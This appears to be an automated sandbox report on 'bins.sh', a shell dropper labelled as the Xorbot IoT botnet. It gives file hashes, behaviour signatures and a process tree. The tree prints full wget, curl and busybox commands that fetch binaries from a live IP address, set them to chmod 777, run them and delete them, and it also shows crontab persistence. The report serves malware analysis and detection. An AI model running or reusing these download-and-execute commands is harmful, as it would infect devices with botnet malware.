Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    03/12/2024, 22:29

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    2fb07c471bdf3d544ed7b17a96c49562

  • SHA1

    d0fcc460e8765eb060a8fd97f608691716a20163

  • SHA256

    8fd6fbf664ac74a348aa5d1f7456a71e7806bcced78f8d18d1c6c0c4f2344b4f

  • SHA512

    526f3eed7ddf8c6697664873fe9fb49c382134a1241790ccaa04edbabbd693deb1a3a8dd341f332d2a878d9a060d70087832449d299647aec5291c7b14645c35

  • SSDEEP

    96:Ettf8gEtkD6cp6cx6cL+6G+vfeZK6KXLog5ZMP3ZK6KXLeg5bttf8gySSjKMc6ci:5tkD6S666P+v25G6S666N+S

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1862) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 7 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://216.126.231.240/bins/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
          • Writes file to tmp directory
          PID:706
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
          • Writes file to tmp directory
          PID:719
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
          • Writes file to tmp directory
          PID:726
        • /bin/chmod
          chmod 777 f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
          • File and Directory Permissions Modification
          PID:728
        • /tmp/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          ./f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
          • Executes dropped EXE
          PID:729
        • /bin/rm
          rm f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6
          2⤵
            PID:732
          • /usr/bin/wget
            wget http://216.126.231.240/bins/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:733
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:734
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:735
          • /bin/chmod
            chmod 777 b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
            2⤵
            • File and Directory Permissions Modification
            PID:736
          • /tmp/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
            ./b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:737
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:739
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:740
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:741
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:742
                • /bin/rm
                  rm b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL
                  2⤵
                  • System Network Configuration Discovery
                  PID:744
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP
                  2⤵
                    PID:747
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP
                    2⤵
                      PID:832
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP
                      2⤵
                      • Writes file to tmp directory
                      PID:837
                    • /bin/chmod
                      chmod 777 9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP
                      2⤵
                      • File and Directory Permissions Modification
                      PID:838
                    • /tmp/9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP
                      ./9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP
                      2⤵
                      • Executes dropped EXE
                      PID:839
                    • /bin/rm
                      rm 9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP
                      2⤵
                        PID:842
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/c8wcFdBZSTr8QGJIwbPkXDfoRt6Xo3mgET
                        2⤵
                          PID:844
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/c8wcFdBZSTr8QGJIwbPkXDfoRt6Xo3mgET
                          2⤵
                            PID:845
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/c8wcFdBZSTr8QGJIwbPkXDfoRt6Xo3mgET
                            2⤵
                            • Writes file to tmp directory
                            PID:848
                          • /bin/chmod
                            chmod 777 c8wcFdBZSTr8QGJIwbPkXDfoRt6Xo3mgET
                            2⤵
                            • File and Directory Permissions Modification
                            PID:849
                          • /tmp/c8wcFdBZSTr8QGJIwbPkXDfoRt6Xo3mgET
                            ./c8wcFdBZSTr8QGJIwbPkXDfoRt6Xo3mgET
                            2⤵
                            • Executes dropped EXE
                            PID:850
                          • /bin/rm
                            rm c8wcFdBZSTr8QGJIwbPkXDfoRt6Xo3mgET
                            2⤵
                              PID:852
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/5MZZr0K60o5Jan9FDp3ga9jd6yJVJKqpuj
                              2⤵
                                PID:856
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/5MZZr0K60o5Jan9FDp3ga9jd6yJVJKqpuj
                                2⤵
                                  PID:857
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/5MZZr0K60o5Jan9FDp3ga9jd6yJVJKqpuj
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:858
                                • /bin/chmod
                                  chmod 777 5MZZr0K60o5Jan9FDp3ga9jd6yJVJKqpuj
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:859
                                • /tmp/5MZZr0K60o5Jan9FDp3ga9jd6yJVJKqpuj
                                  ./5MZZr0K60o5Jan9FDp3ga9jd6yJVJKqpuj
                                  2⤵
                                  • Executes dropped EXE
                                  PID:860
                                • /bin/rm
                                  rm 5MZZr0K60o5Jan9FDp3ga9jd6yJVJKqpuj
                                  2⤵
                                    PID:866
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/G2fmSzVy2j5R7RZnCmamycjM6lUKSwbVAp
                                    2⤵
                                      PID:867
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/G2fmSzVy2j5R7RZnCmamycjM6lUKSwbVAp
                                      2⤵
                                        PID:872
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/G2fmSzVy2j5R7RZnCmamycjM6lUKSwbVAp
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:873
                                      • /bin/chmod
                                        chmod 777 G2fmSzVy2j5R7RZnCmamycjM6lUKSwbVAp
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:878
                                      • /tmp/G2fmSzVy2j5R7RZnCmamycjM6lUKSwbVAp
                                        ./G2fmSzVy2j5R7RZnCmamycjM6lUKSwbVAp
                                        2⤵
                                        • Executes dropped EXE
                                        PID:879
                                      • /bin/rm
                                        rm G2fmSzVy2j5R7RZnCmamycjM6lUKSwbVAp
                                        2⤵
                                          PID:881
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/ahMHjeJw7Uvmvwj6ueQFf4jrOgRdUyu8f5
                                          2⤵
                                            PID:882
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/ahMHjeJw7Uvmvwj6ueQFf4jrOgRdUyu8f5
                                            2⤵
                                              PID:883
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/ahMHjeJw7Uvmvwj6ueQFf4jrOgRdUyu8f5
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:885
                                            • /bin/chmod
                                              chmod 777 ahMHjeJw7Uvmvwj6ueQFf4jrOgRdUyu8f5
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:890
                                            • /tmp/ahMHjeJw7Uvmvwj6ueQFf4jrOgRdUyu8f5
                                              ./ahMHjeJw7Uvmvwj6ueQFf4jrOgRdUyu8f5
                                              2⤵
                                              • Executes dropped EXE
                                              PID:891
                                            • /bin/rm
                                              rm ahMHjeJw7Uvmvwj6ueQFf4jrOgRdUyu8f5
                                              2⤵
                                                PID:893
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/jIWLNyEWZkcZqQiPyD714hg6Hh967ZjpSc
                                                2⤵
                                                • System Network Configuration Discovery
                                                PID:894
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/jIWLNyEWZkcZqQiPyD714hg6Hh967ZjpSc
                                                2⤵
                                                • System Network Configuration Discovery
                                                PID:895

                                            Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • /tmp/5MZZr0K60o5Jan9FDp3ga9jd6yJVJKqpuj

                                                    Filesize

                                                    122KB

                                                    MD5

                                                    cd3d4b9c643e5b473fb4d88ed05f0716

                                                    SHA1

                                                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                    SHA256

                                                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                    SHA512

                                                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                  • /tmp/9hBieqEVONfG5TIUR0xB7rv2cQv97ST4LP

                                                    Filesize

                                                    177KB

                                                    MD5

                                                    786d75a158fe731feca3880f436082c0

                                                    SHA1

                                                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                    SHA256

                                                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                    SHA512

                                                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                  • /tmp/G2fmSzVy2j5R7RZnCmamycjM6lUKSwbVAp

                                                    Filesize

                                                    107KB

                                                    MD5

                                                    eb9c3a0de91fcf16ba17cb24608df68c

                                                    SHA1

                                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                                    SHA256

                                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                    SHA512

                                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                  • /tmp/ahMHjeJw7Uvmvwj6ueQFf4jrOgRdUyu8f5

                                                    Filesize

                                                    112KB

                                                    MD5

                                                    05d7857dcead18bbd86d2935f591873c

                                                    SHA1

                                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                    SHA256

                                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                    SHA512

                                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                  • /tmp/b0NRJjOXsGdUJBU9KXX62MdZGiPvRmSQIL

                                                    Filesize

                                                    151KB

                                                    MD5

                                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                                    SHA1

                                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                    SHA256

                                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                    SHA512

                                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                  • /tmp/c8wcFdBZSTr8QGJIwbPkXDfoRt6Xo3mgET

                                                    Filesize

                                                    111KB

                                                    MD5

                                                    701e7a55a4f3650f5feee92a9860e5fc

                                                    SHA1

                                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                    SHA256

                                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                    SHA512

                                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                  • /tmp/f5ZuHoZ01FhzF1Rr2UNAAGxPCxzEJNkJc6

                                                    Filesize

                                                    119KB

                                                    MD5

                                                    1b166b95f9cb4b079ef1b9ec8363ddf3

                                                    SHA1

                                                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                    SHA256

                                                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                    SHA512

                                                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                  • /var/spool/cron/crontabs/tmp.4HxeQl

                                                    Filesize

                                                    210B

                                                    MD5

                                                    2a5d9efe58d45f90b91a1e230a9a026e

                                                    SHA1

                                                    91180c8cc6e291a7c67aa8067227205a6de04486

                                                    SHA256

                                                    86b97fd797476d454f655c4e61231fe2817423b692c925abb3ca1587ad0a23e3

                                                    SHA512

                                                    ad0201d5a435f7ced5d3aaf28ba873c0e7d13825a851348af9bd0e6e2cfd8593ade0a8c49116184436635789bafaee5c8bc8ba37337b70f6839d83df4e605e5e